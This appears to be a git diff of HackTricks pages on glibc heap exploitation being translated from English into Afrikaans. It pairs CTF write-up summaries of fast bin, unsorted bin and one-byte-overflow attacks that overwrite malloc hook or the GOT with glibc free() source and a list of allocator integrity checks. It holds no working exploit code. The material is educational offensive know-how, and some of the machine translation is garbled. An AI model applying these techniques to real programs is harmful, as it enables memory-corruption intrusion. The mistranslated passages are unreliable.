- Another example of abusing a one byte overflow to consolidate chunks in the unsorted bin and get a libc infoleak and then perform a fast bin attack to overwrite malloc hook with a one gadget address
- Nog 'n voorbeeld van die misbruik van 'n een byte oorgang om stukke in die onsortering bin te konsolideer en 'n libc infoleak te kry en dan 'n vinnige bin aanval uit te voer om malloc hook met 'n een gadget adres te oorskryf.
- **CTF** [**https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html)
- After an infoleak abusing the unsorted bin with a UAF to leak a libc address and a PIE address, the exploit of this CTF used a fast bin attack to allocate a chunk in a place where the pointers to controlled chunks were located so it was possible to overwrite certain pointers to write a one gadget in the GOT
- You can find a Fast Bin attack abused through an unsorted bin attack:
- Note that it's common before performing fast bin attacks to abuse the free-lists to leak libc/heap addresses (when needed).
- Na 'n infoleak wat die onsortering bin misbruik met 'n UAF om 'n libc adres en 'n PIE adres te lek, het die uitbuiting van hierdie CTF 'n vinnige bin aanval gebruik om 'n stuk in 'n plek toe te ken waar die punters na beheerde stukke geleë was, sodat dit moontlik was om sekere punters oorgeskryf te word om 'n een gadget in die GOT te skryf.
- Jy kan 'n Fast Bin aanval vind wat deur 'n onsortering bin aanval misbruik word:
- Let daarop dat dit algemeen is om voor die uitvoering van vinnige bin aanvalle die vry-lis te misbruik om libc/heap adresse te lek (wanneer nodig).
- [**Robot Factory. BlackHat MEA CTF 2022**](https://7rocky.github.io/en/ctf/other/blackhat-ctf/robot-factory/)
- We can only allocate chunks of size greater than `0x100`.
- Overwrite `global_max_fast` using an Unsorted Bin attack (works 1/16 times due to ASLR, because we need to modify 12 bits, but we must modify 16 bits).
- Fast Bin attack to modify the a global array of chunks. This gives an arbitrary read/write primitive, which allows to modify the GOT and set some function to point to `system`.
- Ons kan slegs stukke van grootte groter as `0x100` toeken.
- Oorskryf `global_max_fast` met 'n Unsorted Bin aanval (werk 1/16 keer as gevolg van ASLR, omdat ons 12 bits moet verander, maar ons moet 16 bits verander).
- Vinnige Bin aanval om 'n globale array van stukke te verander. Dit bied 'n arbitrêre lees/schrijf primitief, wat toelaat om die GOT te verander en sommige funksies na `system` te laat wys.
{{#ref}}
unsorted-bin-attack.md

View File

@ -1,4 +1,4 @@
# Heap Memory Functions
# Heap Geheue Funksies
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -2,95 +2,92 @@
{{#include ../../../banners/hacktricks-training.md}}
## Free Order Summary <a href="#libc_free" id="libc_free"></a>
## Gratis Bestelling Opsomming <a href="#libc_free" id="libc_free"></a>
(No checks are explained in this summary and some case have been omitted for brevity)
(Geen kontroles word in hierdie opsomming verduidelik nie en sommige gevalle is weggelaat vir beknoptheid)
1. If the address is null don't do anything
2. If the chunk was mmaped, mummap it and finish
3. Call `_int_free`:
1. If possible, add the chunk to the tcache
2. If possible, add the chunk to the fast bin
3. Call `_int_free_merge_chunk` to consolidate the chunk is needed and add it to the unsorted list
1. As die adres null is, doen niks nie
2. As die stuk `mmaped` was, `mummap` dit en eindig
3. Roep `_int_free` aan:
1. As moontlik, voeg die stuk by die tcache
2. As moontlik, voeg die stuk by die vinnige bin
3. Roep `_int_free_merge_chunk` aan om die stuk te konsolideer indien nodig en voeg dit by die ongesorteerde lys
## \_\_libc_free <a href="#libc_free" id="libc_free"></a>
`Free` calls `__libc_free`.
`Free` roep `__libc_free` aan.
- If the address passed is Null (0) don't do anything.
- Check pointer tag
- If the chunk is `mmaped`, `mummap` it and that all
- If not, add the color and call `_int_free` over it
- As die adres wat deurgegee word Null (0) is, doen niks nie.
- Kontroleer pointer tag
- As die stuk `mmaped` is, `mummap` dit en dit is alles
- As nie, voeg die kleur by en roep `_int_free` daaroor aan
<details>
<summary>__lib_free code</summary>
<summary>__lib_free kode</summary>
```c
void
__libc_free (void *mem)
{
mstate ar_ptr;
mchunkptr p; /* chunk corresponding to mem */
mstate ar_ptr;
mchunkptr p; /* chunk corresponding to mem */
if (mem == 0) /* free(0) has no effect */
return;
if (mem == 0) /* free(0) has no effect */
return;
/* Quickly check that the freed pointer matches the tag for the memory.
This gives a useful double-free detection. */
if (__glibc_unlikely (mtag_enabled))
*(volatile char *)mem;
/* Quickly check that the freed pointer matches the tag for the memory.
This gives a useful double-free detection. */
if (__glibc_unlikely (mtag_enabled))
*(volatile char *)mem;
int err = errno;
int err = errno;
p = mem2chunk (mem);
p = mem2chunk (mem);
if (chunk_is_mmapped (p)) /* release mmapped memory. */
{
/* See if the dynamic brk/mmap threshold needs adjusting.
Dumped fake mmapped chunks do not affect the threshold. */
if (!mp_.no_dyn_threshold
&& chunksize_nomask (p) > mp_.mmap_threshold
&& chunksize_nomask (p) <= DEFAULT_MMAP_THRESHOLD_MAX)
{
mp_.mmap_threshold = chunksize (p);
mp_.trim_threshold = 2 * mp_.mmap_threshold;
LIBC_PROBE (memory_mallopt_free_dyn_thresholds, 2,
mp_.mmap_threshold, mp_.trim_threshold);
}
munmap_chunk (p);
}
else
{
MAYBE_INIT_TCACHE ();
if (chunk_is_mmapped (p)) /* release mmapped memory. */
{
/* See if the dynamic brk/mmap threshold needs adjusting.
Dumped fake mmapped chunks do not affect the threshold. */
if (!mp_.no_dyn_threshold
&& chunksize_nomask (p) > mp_.mmap_threshold
&& chunksize_nomask (p) <= DEFAULT_MMAP_THRESHOLD_MAX)
{
mp_.mmap_threshold = chunksize (p);
mp_.trim_threshold = 2 * mp_.mmap_threshold;
LIBC_PROBE (memory_mallopt_free_dyn_thresholds, 2,
mp_.mmap_threshold, mp_.trim_threshold);
}
munmap_chunk (p);
}
else
{
MAYBE_INIT_TCACHE ();
/* Mark the chunk as belonging to the library again. */
(void)tag_region (chunk2mem (p), memsize (p));
/* Mark the chunk as belonging to the library again. */
(void)tag_region (chunk2mem (p), memsize (p));
ar_ptr = arena_for_chunk (p);
_int_free (ar_ptr, p, 0);
}
ar_ptr = arena_for_chunk (p);
_int_free (ar_ptr, p, 0);
}
__set_errno (err);
__set_errno (err);
}
libc_hidden_def (__libc_free)
```
</details>
## \_int_free <a href="#int_free" id="int_free"></a>
### \_int_free start <a href="#int_free" id="int_free"></a>
### \_int_free begin <a href="#int_free" id="int_free"></a>
It starts with some checks making sure:
Dit begin met 'n paar kontroles om seker te maak:
- the **pointer** is **aligned,** or trigger error `free(): invalid pointer`
- the **size** isn't less than the minimum and that the **size** is also **aligned** or trigger error: `free(): invalid size`
- die **pointer** is **geallineer,** of veroorsaak 'n fout `free(): invalid pointer`
- die **grootte** is nie minder as die minimum nie en dat die **grootte** ook **geallineer** is of veroorsaak 'n fout: `free(): invalid size`
<details>
<summary>_int_free start</summary>
<summary>_int_free begin</summary>
```c
// From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L4493C1-L4513C28
@ -99,288 +96,279 @@ It starts with some checks making sure:
static void
_int_free (mstate av, mchunkptr p, int have_lock)
{
INTERNAL_SIZE_T size; /* its size */
mfastbinptr *fb; /* associated fastbin */
INTERNAL_SIZE_T size; /* its size */
mfastbinptr *fb; /* associated fastbin */
size = chunksize (p);
size = chunksize (p);
/* Little security check which won't hurt performance: the
allocator never wraps around at the end of the address space.
Therefore we can exclude some size values which might appear
here by accident or by "design" from some intruder. */
if (__builtin_expect ((uintptr_t) p > (uintptr_t) -size, 0)
|| __builtin_expect (misaligned_chunk (p), 0))
malloc_printerr ("free(): invalid pointer");
/* We know that each chunk is at least MINSIZE bytes in size or a
multiple of MALLOC_ALIGNMENT. */
if (__glibc_unlikely (size < MINSIZE || !aligned_OK (size)))
malloc_printerr ("free(): invalid size");
/* Little security check which won't hurt performance: the
allocator never wraps around at the end of the address space.
Therefore we can exclude some size values which might appear
here by accident or by "design" from some intruder. */
if (__builtin_expect ((uintptr_t) p > (uintptr_t) -size, 0)
|| __builtin_expect (misaligned_chunk (p), 0))
malloc_printerr ("free(): invalid pointer");
/* We know that each chunk is at least MINSIZE bytes in size or a
multiple of MALLOC_ALIGNMENT. */
if (__glibc_unlikely (size < MINSIZE || !aligned_OK (size)))
malloc_printerr ("free(): invalid size");
check_inuse_chunk(av, p);
check_inuse_chunk(av, p);
```
</details>
### \_int_free tcache <a href="#int_free" id="int_free"></a>
It'll first try to allocate this chunk in the related tcache. However, some checks are performed previously. It'll loop through all the chunks of the tcache in the same index as the freed chunk and:
Dit sal eers probeer om hierdie stuk in die verwante tcache toe te ken. egter, sommige kontroles word vooraf uitgevoer. Dit sal deur al die stukke van die tcache in dieselfde indeks as die vrygestelde stuk loop en:
- If there are more entries than `mp_.tcache_count`: `free(): too many chunks detected in tcache`
- If the entry is not aligned: free(): `unaligned chunk detected in tcache 2`
- if the freed chunk was already freed and is present as chunk in the tcache: `free(): double free detected in tcache 2`
- As daar meer inskrywings is as `mp_.tcache_count`: `free(): te veel stukke opgespoor in tcache`
- As die inskrywing nie uitgelijn is nie: free(): `nie-uitgelijnde stuk opgespoor in tcache 2`
- as die vrygestelde stuk reeds vrygestel is en teenwoordig is as 'n stuk in die tcache: `free(): dubbele vrygestelling opgespoor in tcache 2`
If all goes well, the chunk is added to the tcache and the functions returns.
As alles goed gaan, word die stuk by die tcache gevoeg en die funksie keer terug.
<details>
<summary>_int_free tcache</summary>
```c
// From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L4515C1-L4554C7
#if USE_TCACHE
{
size_t tc_idx = csize2tidx (size);
if (tcache != NULL && tc_idx < mp_.tcache_bins)
{
/* Check to see if it's already in the tcache. */
tcache_entry *e = (tcache_entry *) chunk2mem (p);
{
size_t tc_idx = csize2tidx (size);
if (tcache != NULL && tc_idx < mp_.tcache_bins)
{
/* Check to see if it's already in the tcache. */
tcache_entry *e = (tcache_entry *) chunk2mem (p);
/* This test succeeds on double free. However, we don't 100%
trust it (it also matches random payload data at a 1 in
2^<size_t> chance), so verify it's not an unlikely
coincidence before aborting. */
if (__glibc_unlikely (e->key == tcache_key))
{
tcache_entry *tmp;
size_t cnt = 0;
LIBC_PROBE (memory_tcache_double_free, 2, e, tc_idx);
for (tmp = tcache->entries[tc_idx];
tmp;
tmp = REVEAL_PTR (tmp->next), ++cnt)
{
if (cnt >= mp_.tcache_count)
malloc_printerr ("free(): too many chunks detected in tcache");
if (__glibc_unlikely (!aligned_OK (tmp)))
malloc_printerr ("free(): unaligned chunk detected in tcache 2");
if (tmp == e)
malloc_printerr ("free(): double free detected in tcache 2");
/* If we get here, it was a coincidence. We've wasted a
few cycles, but don't abort. */
}
}
/* This test succeeds on double free. However, we don't 100%
trust it (it also matches random payload data at a 1 in
2^<size_t> chance), so verify it's not an unlikely
coincidence before aborting. */
if (__glibc_unlikely (e->key == tcache_key))
{
tcache_entry *tmp;
size_t cnt = 0;
LIBC_PROBE (memory_tcache_double_free, 2, e, tc_idx);
for (tmp = tcache->entries[tc_idx];
tmp;
tmp = REVEAL_PTR (tmp->next), ++cnt)
{
if (cnt >= mp_.tcache_count)
malloc_printerr ("free(): too many chunks detected in tcache");
if (__glibc_unlikely (!aligned_OK (tmp)))
malloc_printerr ("free(): unaligned chunk detected in tcache 2");
if (tmp == e)
malloc_printerr ("free(): double free detected in tcache 2");
/* If we get here, it was a coincidence. We've wasted a
few cycles, but don't abort. */
}
}
if (tcache->counts[tc_idx] < mp_.tcache_count)
{
tcache_put (p, tc_idx);
return;
}
}
}
if (tcache->counts[tc_idx] < mp_.tcache_count)
{
tcache_put (p, tc_idx);
return;
}
}
}
#endif
```
</details>
### \_int_free fast bin <a href="#int_free" id="int_free"></a>
### \_int_free vinnige bin <a href="#int_free" id="int_free"></a>
Start by checking that the size is suitable for fast bin and check if it's possible to set it close to the top chunk.
Begin deur te kyk of die grootte geskik is vir vinnige bin en kyk of dit moontlik is om dit naby die boonste stuk te stel.
Then, add the freed chunk at the top of the fast bin while performing some checks:
Voeg dan die vrygestelde stuk by die bokant van die vinnige bin terwyl jy 'n paar kontroles uitvoer:
- If the size of the chunk is invalid (too big or small) trigger: `free(): invalid next size (fast)`
- If the added chunk was already the top of the fast bin: `double free or corruption (fasttop)`
- If the size of the chunk at the top has a different size of the chunk we are adding: `invalid fastbin entry (free)`
- As die grootte van die stuk ongeldig is (te groot of te klein) aktiveer: `free(): invalid next size (fast)`
- As die bygevoegde stuk reeds die boonste van die vinnige bin was: `double free or corruption (fasttop)`
- As die grootte van die stuk aan die bokant 'n ander grootte het as die stuk wat ons byvoeg: `invalid fastbin entry (free)`
<details>
<summary>_int_free Fast Bin</summary>
<summary>_int_free Vinnige Bin</summary>
```c
// From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L4556C2-L4631C4
// From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L4556C2-L4631C4
/*
If eligible, place chunk on a fastbin so it can be found
and used quickly in malloc.
*/
/*
If eligible, place chunk on a fastbin so it can be found
and used quickly in malloc.
*/
if ((unsigned long)(size) <= (unsigned long)(get_max_fast ())
if ((unsigned long)(size) <= (unsigned long)(get_max_fast ())
#if TRIM_FASTBINS
/*
If TRIM_FASTBINS set, don't place chunks
bordering top into fastbins
*/
&& (chunk_at_offset(p, size) != av->top)
/*
If TRIM_FASTBINS set, don't place chunks
bordering top into fastbins
*/
&& (chunk_at_offset(p, size) != av->top)
#endif
) {
) {
if (__builtin_expect (chunksize_nomask (chunk_at_offset (p, size))
<= CHUNK_HDR_SZ, 0)
|| __builtin_expect (chunksize (chunk_at_offset (p, size))
>= av->system_mem, 0))
{
bool fail = true;
/* We might not have a lock at this point and concurrent modifications
of system_mem might result in a false positive. Redo the test after
getting the lock. */
if (!have_lock)
{
__libc_lock_lock (av->mutex);
fail = (chunksize_nomask (chunk_at_offset (p, size)) <= CHUNK_HDR_SZ
|| chunksize (chunk_at_offset (p, size)) >= av->system_mem);
__libc_lock_unlock (av->mutex);
}
if (__builtin_expect (chunksize_nomask (chunk_at_offset (p, size))
<= CHUNK_HDR_SZ, 0)
|| __builtin_expect (chunksize (chunk_at_offset (p, size))
>= av->system_mem, 0))
{
bool fail = true;
/* We might not have a lock at this point and concurrent modifications
of system_mem might result in a false positive. Redo the test after
getting the lock. */
if (!have_lock)
{
__libc_lock_lock (av->mutex);
fail = (chunksize_nomask (chunk_at_offset (p, size)) <= CHUNK_HDR_SZ
|| chunksize (chunk_at_offset (p, size)) >= av->system_mem);
__libc_lock_unlock (av->mutex);
}
if (fail)
malloc_printerr ("free(): invalid next size (fast)");
}
if (fail)
malloc_printerr ("free(): invalid next size (fast)");
}
free_perturb (chunk2mem(p), size - CHUNK_HDR_SZ);
free_perturb (chunk2mem(p), size - CHUNK_HDR_SZ);
atomic_store_relaxed (&av->have_fastchunks, true);
unsigned int idx = fastbin_index(size);
fb = &fastbin (av, idx);
atomic_store_relaxed (&av->have_fastchunks, true);
unsigned int idx = fastbin_index(size);
fb = &fastbin (av, idx);
/* Atomically link P to its fastbin: P->FD = *FB; *FB = P; */
mchunkptr old = *fb, old2;
/* Atomically link P to its fastbin: P->FD = *FB; *FB = P; */
mchunkptr old = *fb, old2;
if (SINGLE_THREAD_P)
{
/* Check that the top of the bin is not the record we are going to
add (i.e., double free). */
if (__builtin_expect (old == p, 0))
malloc_printerr ("double free or corruption (fasttop)");
p->fd = PROTECT_PTR (&p->fd, old);
*fb = p;
}
else
do
{
/* Check that the top of the bin is not the record we are going to
add (i.e., double free). */
if (__builtin_expect (old == p, 0))
malloc_printerr ("double free or corruption (fasttop)");
old2 = old;
p->fd = PROTECT_PTR (&p->fd, old);
}
while ((old = catomic_compare_and_exchange_val_rel (fb, p, old2))
!= old2);
if (SINGLE_THREAD_P)
{
/* Check that the top of the bin is not the record we are going to
add (i.e., double free). */
if (__builtin_expect (old == p, 0))
malloc_printerr ("double free or corruption (fasttop)");
p->fd = PROTECT_PTR (&p->fd, old);
*fb = p;
}
else
do
{
/* Check that the top of the bin is not the record we are going to
add (i.e., double free). */
if (__builtin_expect (old == p, 0))
malloc_printerr ("double free or corruption (fasttop)");
old2 = old;
p->fd = PROTECT_PTR (&p->fd, old);
}
while ((old = catomic_compare_and_exchange_val_rel (fb, p, old2))
!= old2);
/* Check that size of fastbin chunk at the top is the same as
size of the chunk that we are adding. We can dereference OLD
only if we have the lock, otherwise it might have already been
allocated again. */
if (have_lock && old != NULL
&& __builtin_expect (fastbin_index (chunksize (old)) != idx, 0))
malloc_printerr ("invalid fastbin entry (free)");
}
/* Check that size of fastbin chunk at the top is the same as
size of the chunk that we are adding. We can dereference OLD
only if we have the lock, otherwise it might have already been
allocated again. */
if (have_lock && old != NULL
&& __builtin_expect (fastbin_index (chunksize (old)) != idx, 0))
malloc_printerr ("invalid fastbin entry (free)");
}
```
</details>
### \_int_free finale <a href="#int_free" id="int_free"></a>
If the chunk wasn't allocated yet on any bin, call `_int_free_merge_chunk`
As die stuk nog nie op enige bin toegeken is nie, bel `_int_free_merge_chunk`
<details>
<summary>_int_free finale</summary>
```c
/*
Consolidate other non-mmapped chunks as they arrive.
*/
Consolidate other non-mmapped chunks as they arrive.
*/
else if (!chunk_is_mmapped(p)) {
else if (!chunk_is_mmapped(p)) {
/* If we're single-threaded, don't lock the arena. */
if (SINGLE_THREAD_P)
have_lock = true;
/* If we're single-threaded, don't lock the arena. */
if (SINGLE_THREAD_P)
have_lock = true;
if (!have_lock)
__libc_lock_lock (av->mutex);
if (!have_lock)
__libc_lock_lock (av->mutex);
_int_free_merge_chunk (av, p, size);
_int_free_merge_chunk (av, p, size);
if (!have_lock)
__libc_lock_unlock (av->mutex);
}
/*
If the chunk was allocated via mmap, release via munmap().
*/
if (!have_lock)
__libc_lock_unlock (av->mutex);
}
/*
If the chunk was allocated via mmap, release via munmap().
*/
else {
munmap_chunk (p);
}
else {
munmap_chunk (p);
}
}
```
</details>
## \_int_free_merge_chunk
This function will try to merge chunk P of SIZE bytes with its neighbours. Put the resulting chunk on the unsorted bin list.
Hierdie funksie sal probeer om chunk P van SIZE bytes met sy bure te meng. Plaas die resultaat chunk op die ongesorteerde bin lys.
Some checks are performed:
Sommige kontroles word uitgevoer:
- If the chunk is the top chunk: `double free or corruption (top)`
- If the next chunk is outside of the boundaries of the arena: `double free or corruption (out)`
- If the chunk is not marked as used (in the `prev_inuse` from the following chunk): `double free or corruption (!prev)`
- If the next chunk has a too little size or too big: `free(): invalid next size (normal)`
- if the previous chunk is not in use, it will try to consolidate. But, if the prev_size differs from the size indicated in the previous chunk: `corrupted size vs. prev_size while consolidating`
- As die chunk die top chunk is: `double free or corruption (top)`
- As die volgende chunk buite die grense van die arena is: `double free or corruption (out)`
- As die chunk nie as gebruik gemerk is nie (in die `prev_inuse` van die volgende chunk): `double free or corruption (!prev)`
- As die volgende chunk 'n te klein of te groot grootte het: `free(): invalid next size (normal)`
- as die vorige chunk nie in gebruik is nie, sal dit probeer om te konsolideer. Maar, as die prev_size verskil van die grootte wat in die vorige chunk aangedui is: `corrupted size vs. prev_size while consolidating`
<details>
<summary>_int_free_merge_chunk code</summary>
```c
// From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L4660C1-L4702C2
/* Try to merge chunk P of SIZE bytes with its neighbors. Put the
resulting chunk on the appropriate bin list. P must not be on a
bin list yet, and it can be in use. */
resulting chunk on the appropriate bin list. P must not be on a
bin list yet, and it can be in use. */
static void
_int_free_merge_chunk (mstate av, mchunkptr p, INTERNAL_SIZE_T size)
{
mchunkptr nextchunk = chunk_at_offset(p, size);
mchunkptr nextchunk = chunk_at_offset(p, size);
/* Lightweight tests: check whether the block is already the
top block. */
if (__glibc_unlikely (p == av->top))
malloc_printerr ("double free or corruption (top)");
/* Or whether the next chunk is beyond the boundaries of the arena. */
if (__builtin_expect (contiguous (av)
&& (char *) nextchunk
>= ((char *) av->top + chunksize(av->top)), 0))
malloc_printerr ("double free or corruption (out)");
/* Or whether the block is actually not marked used. */
if (__glibc_unlikely (!prev_inuse(nextchunk)))
malloc_printerr ("double free or corruption (!prev)");
/* Lightweight tests: check whether the block is already the
top block. */
if (__glibc_unlikely (p == av->top))
malloc_printerr ("double free or corruption (top)");
/* Or whether the next chunk is beyond the boundaries of the arena. */
if (__builtin_expect (contiguous (av)
&& (char *) nextchunk
>= ((char *) av->top + chunksize(av->top)), 0))
malloc_printerr ("double free or corruption (out)");
/* Or whether the block is actually not marked used. */
if (__glibc_unlikely (!prev_inuse(nextchunk)))
malloc_printerr ("double free or corruption (!prev)");
INTERNAL_SIZE_T nextsize = chunksize(nextchunk);
if (__builtin_expect (chunksize_nomask (nextchunk) <= CHUNK_HDR_SZ, 0)
|| __builtin_expect (nextsize >= av->system_mem, 0))
malloc_printerr ("free(): invalid next size (normal)");
INTERNAL_SIZE_T nextsize = chunksize(nextchunk);
if (__builtin_expect (chunksize_nomask (nextchunk) <= CHUNK_HDR_SZ, 0)
|| __builtin_expect (nextsize >= av->system_mem, 0))
malloc_printerr ("free(): invalid next size (normal)");
free_perturb (chunk2mem(p), size - CHUNK_HDR_SZ);
free_perturb (chunk2mem(p), size - CHUNK_HDR_SZ);
/* Consolidate backward. */
if (!prev_inuse(p))
{
INTERNAL_SIZE_T prevsize = prev_size (p);
size += prevsize;
p = chunk_at_offset(p, -((long) prevsize));
if (__glibc_unlikely (chunksize(p) != prevsize))
malloc_printerr ("corrupted size vs. prev_size while consolidating");
unlink_chunk (av, p);
}
/* Consolidate backward. */
if (!prev_inuse(p))
{
INTERNAL_SIZE_T prevsize = prev_size (p);
size += prevsize;
p = chunk_at_offset(p, -((long) prevsize));
if (__glibc_unlikely (chunksize(p) != prevsize))
malloc_printerr ("corrupted size vs. prev_size while consolidating");
unlink_chunk (av, p);
}
/* Write the chunk header, maybe after merging with the following chunk. */
size = _int_free_create_chunk (av, p, size, nextchunk, nextsize);
_int_free_maybe_consolidate (av, size);
/* Write the chunk header, maybe after merging with the following chunk. */
size = _int_free_create_chunk (av, p, size, nextchunk, nextsize);
_int_free_maybe_consolidate (av, size);
}
```
</details>
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -4,160 +4,160 @@
## unlink
For more info check:
Vir meer inligting, kyk:
{{#ref}}
unlink.md
{{#endref}}
This is a summary of the performed checks:
Dit is 'n opsomming van die uitgevoerde kontroles:
- Check if the indicated size of the chunk is the same as the `prev_size` indicated in the next chunk
- Error message: `corrupted size vs. prev_size`
- Check also that `P->fd->bk == P` and `P->bk->fw == P`
- Error message: `corrupted double-linked list`
- If the chunk is not small, check that `P->fd_nextsize->bk_nextsize == P` and `P->bk_nextsize->fd_nextsize == P`
- Error message: `corrupted double-linked list (not small)`
- Kontroleer of die aangeduide grootte van die stuk dieselfde is as die `prev_size` aangedui in die volgende stuk
- Foutboodskap: `corrupted size vs. prev_size`
- Kontroleer ook dat `P->fd->bk == P` en `P->bk->fw == P`
- Foutboodskap: `corrupted double-linked list`
- As die stuk nie klein is nie, kontroleer dat `P->fd_nextsize->bk_nextsize == P` en `P->bk_nextsize->fd_nextsize == P`
- Foutboodskap: `corrupted double-linked list (not small)`
## \_int_malloc
For more info check:
Vir meer inligting, kyk:
{{#ref}}
malloc-and-sysmalloc.md
{{#endref}}
- **Checks during fast bin search:**
- If the chunk is misaligned:
- Error message: `malloc(): unaligned fastbin chunk detected 2`
- If the forward chunk is misaligned:
- Error message: `malloc(): unaligned fastbin chunk detected`
- If the returned chunk has a size that isn't correct because of it's index in the fast bin:
- Error message: `malloc(): memory corruption (fast)`
- If any chunk used to fill the tcache is misaligned:
- Error message: `malloc(): unaligned fastbin chunk detected 3`
- **Checks during small bin search:**
- If `victim->bk->fd != victim`:
- Error message: `malloc(): smallbin double linked list corrupted`
- **Checks during consolidate** performed for each fast bin chunk:&#x20;
- If the chunk is unaligned trigger:
- Error message: `malloc_consolidate(): unaligned fastbin chunk detected`
- If the chunk has a different size that the one it should because of the index it's in:
- Error message: `malloc_consolidate(): invalid chunk size`
- If the previous chunk is not in use and the previous chunk has a size different of the one indicated by prev_chunk:
- Error message: `corrupted size vs. prev_size in fastbins`
- **Checks during unsorted bin search**:
- If the chunk size is weird (too small or too big):&#x20;
- Error message: `malloc(): invalid size (unsorted)`
- If the next chunk size is weird (too small or too big):
- Error message: `malloc(): invalid next size (unsorted)`
- If the previous size indicated by the next chunk differs from the size of the chunk:
- Error message: `malloc(): mismatching next->prev_size (unsorted)`
- If not `victim->bck->fd == victim` or not `victim->fd == av (arena)`:
- Error message: `malloc(): unsorted double linked list corrupted`
- As we are always checking the las one, it's fd should be pointing always to the arena struct.
- If the next chunk isn't indicating that the previous is in use:
- Error message: `malloc(): invalid next->prev_inuse (unsorted)`
- If `fwd->bk_nextsize->fd_nextsize != fwd`:
- Error message: `malloc(): largebin double linked list corrupted (nextsize)`
- If `fwd->bk->fd != fwd`:
- Error message: `malloc(): largebin double linked list corrupted (bk)`
- **Checks during large bin (by index) search:**
- `bck->fd-> bk != bck`:
- Error message: `malloc(): corrupted unsorted chunks`
- **Checks during large bin (next bigger) search:**
- `bck->fd-> bk != bck`:
- Error message: `malloc(): corrupted unsorted chunks2`
- **Checks during Top chunk use:**
- `chunksize(av->top) > av->system_mem`:
- Error message: `malloc(): corrupted top size`
- **Kontroles tydens vinnige bin soektog:**
- As die stuk verkeerd uitgelijn is:
- Foutboodskap: `malloc(): unaligned fastbin chunk detected 2`
- As die vorentoe stuk verkeerd uitgelijn is:
- Foutboodskap: `malloc(): unaligned fastbin chunk detected`
- As die teruggegee stuk 'n grootte het wat nie korrek is nie weens sy indeks in die vinnige bin:
- Foutboodskap: `malloc(): memory corruption (fast)`
- As enige stuk wat gebruik word om die tcache te vul verkeerd uitgelijn is:
- Foutboodskap: `malloc(): unaligned fastbin chunk detected 3`
- **Kontroles tydens klein bin soektog:**
- As `victim->bk->fd != victim`:
- Foutboodskap: `malloc(): smallbin double linked list corrupted`
- **Kontroles tydens konsolidasie** uitgevoer vir elke vinnige bin stuk:&#x20;
- As die stuk verkeerd uitgelijn is, aktiveer:
- Foutboodskap: `malloc_consolidate(): unaligned fastbin chunk detected`
- As die stuk 'n ander grootte het as die een wat dit behoort te wees weens die indeks waarin dit is:
- Foutboodskap: `malloc_consolidate(): invalid chunk size`
- As die vorige stuk nie in gebruik is nie en die vorige stuk 'n grootte het wat verskil van die een aangedui deur prev_chunk:
- Foutboodskap: `corrupted size vs. prev_size in fastbins`
- **Kontroles tydens onsortering bin soektog**:
- As die stuk grootte vreemd is (te klein of te groot):&#x20;
- Foutboodskap: `malloc(): invalid size (unsorted)`
- As die volgende stuk grootte vreemd is (te klein of te groot):
- Foutboodskap: `malloc(): invalid next size (unsorted)`
- As die vorige grootte aangedui deur die volgende stuk verskil van die grootte van die stuk:
- Foutboodskap: `malloc(): mismatching next->prev_size (unsorted)`
- As nie `victim->bck->fd == victim` of nie `victim->fd == av (arena)` nie:
- Foutboodskap: `malloc(): unsorted double linked list corrupted`
- Aangesien ons altyd die laaste een kontroleer, moet dit altyd na die arena struktuur wys.
- As die volgende stuk nie aandui dat die vorige in gebruik is nie:
- Foutboodskap: `malloc(): invalid next->prev_inuse (unsorted)`
- As `fwd->bk_nextsize->fd_nextsize != fwd`:
- Foutboodskap: `malloc(): largebin double linked list corrupted (nextsize)`
- As `fwd->bk->fd != fwd`:
- Foutboodskap: `malloc(): largebin double linked list corrupted (bk)`
- **Kontroles tydens groot bin (volgens indeks) soektog:**
- `bck->fd-> bk != bck`:
- Foutboodskap: `malloc(): corrupted unsorted chunks`
- **Kontroles tydens groot bin (volgende groter) soektog:**
- `bck->fd-> bk != bck`:
- Foutboodskap: `malloc(): corrupted unsorted chunks2`
- **Kontroles tydens Top stuk gebruik:**
- `chunksize(av->top) > av->system_mem`:
- Foutboodskap: `malloc(): corrupted top size`
## `tcache_get_n`
- **Checks in `tcache_get_n`:**
- If chunk is misaligned:
- Error message: `malloc(): unaligned tcache chunk detected`
- **Kontroles in `tcache_get_n`:**
- As die stuk verkeerd uitgelijn is:
- Foutboodskap: `malloc(): unaligned tcache chunk detected`
## `tcache_thread_shutdown`
- **Checks in `tcache_thread_shutdown`:**
- If chunk is misaligned:
- Error message: `tcache_thread_shutdown(): unaligned tcache chunk detected`
- **Kontroles in `tcache_thread_shutdown`:**
- As die stuk verkeerd uitgelijn is:
- Foutboodskap: `tcache_thread_shutdown(): unaligned tcache chunk detected`
## `__libc_realloc`
- **Checks in `__libc_realloc`:**
- If old pointer is misaligned or the size was incorrect:
- Error message: `realloc(): invalid pointer`
- **Kontroles in `__libc_realloc`:**
- As die ou pointer verkeerd uitgelijn is of die grootte verkeerd was:
- Foutboodskap: `realloc(): invalid pointer`
## `_int_free`
For more info check:
Vir meer inligting, kyk:
{{#ref}}
free.md
{{#endref}}
- **Checks during the start of `_int_free`:**
- Pointer is aligned:
- Error message: `free(): invalid pointer`
- Size larger than `MINSIZE` and size also aligned:
- Error message: `free(): invalid size`
- **Checks in `_int_free` tcache:**
- If there are more entries than `mp_.tcache_count`:
- Error message: `free(): too many chunks detected in tcache`
- If the entry is not aligned:
- Error message: `free(): unaligned chunk detected in tcache 2`
- If the freed chunk was already freed and is present as chunk in the tcache:
- Error message: `free(): double free detected in tcache 2`
- **Checks in `_int_free` fast bin:**
- If the size of the chunk is invalid (too big or small) trigger:
- Error message: `free(): invalid next size (fast)`
- If the added chunk was already the top of the fast bin:
- Error message: `double free or corruption (fasttop)`
- If the size of the chunk at the top has a different size of the chunk we are adding:
- Error message: `invalid fastbin entry (free)`
- **Kontroles tydens die begin van `_int_free`:**
- Pointer is uitgelijn:
- Foutboodskap: `free(): invalid pointer`
